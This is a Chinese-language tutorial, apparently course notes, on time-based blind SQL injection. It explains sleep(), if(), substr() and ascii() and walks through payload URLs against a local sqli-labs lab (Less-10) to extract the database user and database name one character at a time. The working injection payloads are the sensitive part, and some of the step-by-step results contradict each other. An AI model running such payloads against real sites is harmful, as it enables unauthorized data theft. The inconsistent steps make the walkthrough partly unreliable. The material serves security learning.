5. 网易web安全渗透, sql时间盲注
sql注入漏洞时间盲注原理
根据时间来判断漏洞
代码
不管你输入什么都不显示
这个就很难检查出来sql注入漏洞
我们就可以根据网站的延迟时间来判断是否查询sql注入漏洞和数据
sql注入漏洞时间盲注方法
现在的数据库名是dvwa
抛开的来说
sleep()函数
他这个函数是延迟程序执行的
代码1
select sleep(100);
dai代码的意思是延迟100秒赞在执行
核心语法:就可以判断数据库名了
当前数据库名是dvwa
代码
1 | select if(left(database(),1)='a',0,sleep(3)); |
left()函数这个有说4. 网易web安全渗透, sql 布尔型盲注
上面代码介绍
意思判断是database()
查询当前数据库名第1个字符比较正确直接返回0
错误就执行sleep(3)
延迟3秒返回0
结果是d
这个我输入a
他延迟3秒说明不是a
我输入d
他立刻就执行了说明就是d
字符
- 真实场景:就可以判断数据库名了
在真实场景网站可能要waf和其他机智就不让输入'
就可以上一节学习到的substr()
函数和ascii()
函数在这个查看4. 网易web安全渗透, sql 布尔型盲注
列
数据库名是dvwa
代码
1 | select if(ascii(substr(database(),1,1))=100,0,sleep(3)); |
代码介绍
的意思是查询当前数据库名称取第一个到第一个字符串,
然后ascii()
函数叫字符串转化成ascii
码,然后进行比较正确就直接返回0,错误就执行sleep(3)延迟3秒返回0
结果是100=d
输入97
97=a
延迟3秒,说明数据库名的第一个字符不是a
输入100
100=d
发现立即执行了说明就是d
实战
1. 判断是否查询sql注入漏洞
第10关
输入http://192.168.0.102/Less-10/?id=1
返回You are in………..
输入http://192.168.0.102/Less-10/?id=1'
返回You are in………..
输入http://192.168.0.102/Less-10/?id=1' and '1' =' 1 --+
返回You are in………..
输入http://192.168.0.102/Less-10/?id=1' and '1' =' 2 --+
还是返回返回You are in………..
输入192.168.0.102/Less-10/?id=1' ) or ('a'='a --+
还是返回还是返回返回You are in………..
等等等等等等等等等等等等等等其他方法我就不演示了
发现根本就没有注入点
我们就可以使用sql时间盲注了
输入http://192.168.0.102/Less-10/?id=1" and if(left(user(),1)='a',0,sleep(3)) --+
user()查询当前的用户名
输入a
发现延迟3秒
直到输入到r发现没有延迟,说明存在sql注入漏洞
输入http://192.168.0.102/Less-10/?id=1" and if(left(user(),1)='r',0,sleep(3)) --+
数据读取
读取当前数据库
URL地址http://192.168.0.102/Less-10/?id=1" and if(ascii(substr(database(),1,1))=100,0,sleep(3)) --+
输入100=d
发现3
秒才返回
输入115=s
发现直接就响应了说明就是s
这个太麻烦而且还慢可以自己
写一个sql时间盲注脚本应为我时间不多,有时间在写